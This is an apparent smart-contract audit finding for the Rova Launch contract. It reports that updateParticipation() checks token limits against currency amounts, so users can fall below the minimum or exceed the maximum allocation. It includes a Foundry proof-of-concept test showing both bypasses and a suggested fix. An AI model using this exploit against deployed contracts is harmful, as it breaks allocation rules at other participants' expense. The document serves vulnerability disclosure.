Mythical Olive Bull

High

# Incorrect minimum and maximum token amount check in `updateParticipation()`

### Summary

`updateParticipation()` is responsible for modifying a user's participation in a launch group by increasing or decreasing their token amount. However, the function does not correctly validate whether the new token amount remains within the allowed limits (`minTokenAmountPerUser` and `maxTokenAmountPerUser`). This issue allows users to bypass the intended constraints.

### Root Cause

The function includes a check to ensure that a user's token amount does not fall below the minimum required amount. However, the validation logic is flawed:

The function checks if:
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L355
```solidity
userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser
```

This logic is incorrect because `userTokenAmount` represents the total new token amount which user wants to keep in contract after the update, and `refundCurrencyAmount` represents the currency equivalent of the reduction. The check does not directly compare the new token amount to the minimum allowed limit. It incorrectly deducts the refund amount in currency instead of directly validating the new token amount.

Similarly, when increasing the token amount, the function checks:
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L368
```solidity
    userTokenAmount + additionalCurrencyAmount > settings.maxTokenAmountPerUser
```
Here, `additionalCurrencyAmount` represents a currency value, not a token amount. Due to this user may not be able to increase the token amount even if token amount is less than `maxTokenAmountPerUser`.

### Internal Pre-conditions

1. A user must have an existing participation entry in `launchGroupParticipations`.
2. The `settings.finalizesAtParticipation` must be `false`.

### External Pre-conditions

1. The function must be called while the launch group is still active.
2. The external contract used for IERC20.safeTransfer() must have sufficient funds to process refunds or accept additional payments.

### Attack Path

1. User calls `updateParticipation()` with a reduced token amount
2. The function incorrectly checks `userTokenAmount - refundCurrencyAmount` instead of directly validating `request.tokenAmount`.
3. Due to this a user could set their token amount lower than `minTokenAmountPerUser`.

### Impact

Users may unintentionally or maliciously reduce their token amount below the required minimum, and can break important invariant leading to an invalid state where participation does not meet the intended conditions.

### PoC
<details>

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    CancelParticipationRequest,
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CurrencyConfig,
    UpdateParticipationRequest
} from "../src/Types.sol";
import {console} from "forge-std/console.sol";

contract USDC is ERC20 {
    constructor() ERC20("USDC", "USDC") {
        _mint(msg.sender, 1000000 * 10 ** 6);
    }
}

contract LimitBypass is Test, Launch, LaunchTestBase {
    USDC public usdc;

    bytes32 public testLaunchParticipationId2 = "cm6o2sldi00003b74facm5z9n2";
    bytes32 public testUserId2 = "cm6o2tm1300003b74dsss1s7q2";


    function setUp() public {
        _setUpLaunch();
        usdc = new USDC();
        usdc.transfer(user1, 5000 * 10 ** 6);
    }

    function createLaunchGroup() public {
        CurrencyConfig memory usdcConfig =
            CurrencyConfig({tokenPriceBps: 1 * (10 ** 6), isEnabled: true});

        LaunchGroupSettings memory settings = LaunchGroupSettings({
            finalizesAtParticipation: false,
            startsAt: block.timestamp,
            endsAt: block.timestamp + 1 days,
            maxTokenAllocation: 10000 * 10 ** launch.tokenDecimals(),
            minTokenAmountPerUser: 500 * 10 ** launch.tokenDecimals(),
            maxTokenAmountPerUser: 3000 * 10 ** launch.tokenDecimals(),
            status: LaunchGroupStatus.ACTIVE
        });
        vm.startPrank(manager);
        launch.createLaunchGroup(testLaunchGroupId, address(usdc), usdcConfig, settings);
        vm.stopPrank();
    }

    function generateRequest(
        bytes32 launchParticipationId, 
        bytes32 userId, 
        address userAddress, 
        uint256 tokenAmount, 
        address currency) public returns (ParticipationRequest memory request){
            
        return ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: launchParticipationId,
            userId: userId,
            userAddress: userAddress,
            tokenAmount: tokenAmount * 10 ** launch.tokenDecimals(),
            currency: currency,
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

    function generateUpdateRequest(
        bytes32 prevLaunchParticipationId,
        bytes32 newLaunchParticipationId, 
        bytes32 userId, 
        address userAddress, 
        uint256 tokenAmount, 
        address currency
    ) public returns (UpdateParticipationRequest memory){
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: prevLaunchParticipationId,
            newLaunchParticipationId: newLaunchParticipationId,
            userId: userId,
            userAddress: userAddress,
            tokenAmount: tokenAmount * 10 ** launch.tokenDecimals(),
            currency: currency,
            requestExpiresAt: block.timestamp + 1 hours
        });
    }


    function test_maxLimitBypass() public {
        // Setup launch group
        createLaunchGroup();

        ParticipationRequest memory requestUSDC = generateRequest(testLaunchParticipationId, testUserId, user1, 1000, address(usdc));
        bytes memory signature = _signRequest(abi.encode(requestUSDC));

        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(requestUSDC.launchGroupId, requestUSDC.currency, requestUSDC.tokenAmount);
        usdc.approve(address(launch), currencyAmount);

        // Expect ParticipationRegistered event
        vm.expectEmit();
        emit ParticipationRegistered(
            requestUSDC.launchGroupId, requestUSDC.launchParticipationId, testUserId, user1, currencyAmount, address(usdc)
        );

        // Participate
        launch.participate(requestUSDC, signature);
        vm.stopPrank();    

        UpdateParticipationRequest memory updateRequest = generateUpdateRequest(testLaunchParticipationId, testLaunchParticipationId2, testUserId, user1, 5000, address(usdc));
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        uint256 currencyAmountUpdate = _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        usdc.approve(address(launch), currencyAmountUpdate);

        launch.updateParticipation(updateRequest, updateSignature);
        ParticipationInfo memory info = launch.getParticipationInfo(testLaunchParticipationId2);
        LaunchGroupSettings memory settings = launch.getLaunchGroupSettings(requestUSDC.launchGroupId);

        console.log("maxTokenAmountPerUser:", settings.maxTokenAmountPerUser);
        console.log("User Token amount:", info.tokenAmount);
        
        assertTrue(info.tokenAmount > settings.maxTokenAmountPerUser);
    }

    function test_minLimitBypass() public {
        // Setup launch group
        createLaunchGroup();

        ParticipationRequest memory requestUSDC = generateRequest(testLaunchParticipationId, testUserId, user1, 1000, address(usdc));
        bytes memory signature = _signRequest(abi.encode(requestUSDC));

        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(requestUSDC.launchGroupId, requestUSDC.currency, requestUSDC.tokenAmount);
        usdc.approve(address(launch), currencyAmount);

        // Expect ParticipationRegistered event
        vm.expectEmit();
        emit ParticipationRegistered(
            requestUSDC.launchGroupId, requestUSDC.launchParticipationId, testUserId, user1, currencyAmount, address(usdc)
        );

        // Participate
        launch.participate(requestUSDC, signature);
        vm.stopPrank();    

        UpdateParticipationRequest memory updateRequest = generateUpdateRequest(testLaunchParticipationId, testLaunchParticipationId2, testUserId, user1, 0, address(usdc));
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        uint256 currencyAmountUpdate = _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        usdc.approve(address(launch), currencyAmountUpdate);

        launch.updateParticipation(updateRequest, updateSignature);
        ParticipationInfo memory info = launch.getParticipationInfo(testLaunchParticipationId2);
        LaunchGroupSettings memory settings = launch.getLaunchGroupSettings(requestUSDC.launchGroupId);

        console.log("minTokenAmountPerUser:", settings.minTokenAmountPerUser);
        console.log("User Token amount:", info.tokenAmount);
        
        assertTrue(info.tokenAmount < settings.minTokenAmountPerUser);
    }

}

```
</details>

### Mitigation

Modify the validation logic inside updateParticipation() to:

```solidity
if (userTokenAmount < settings.minTokenAmountPerUser) {
revert MinUserTokenAllocationNotReached(request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount);
}
```
and
```solidity
if (userTokenAmount > settings.maxTokenAmountPerUser) {
revert MaxUserTokenAllocationReached(request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount);
}
```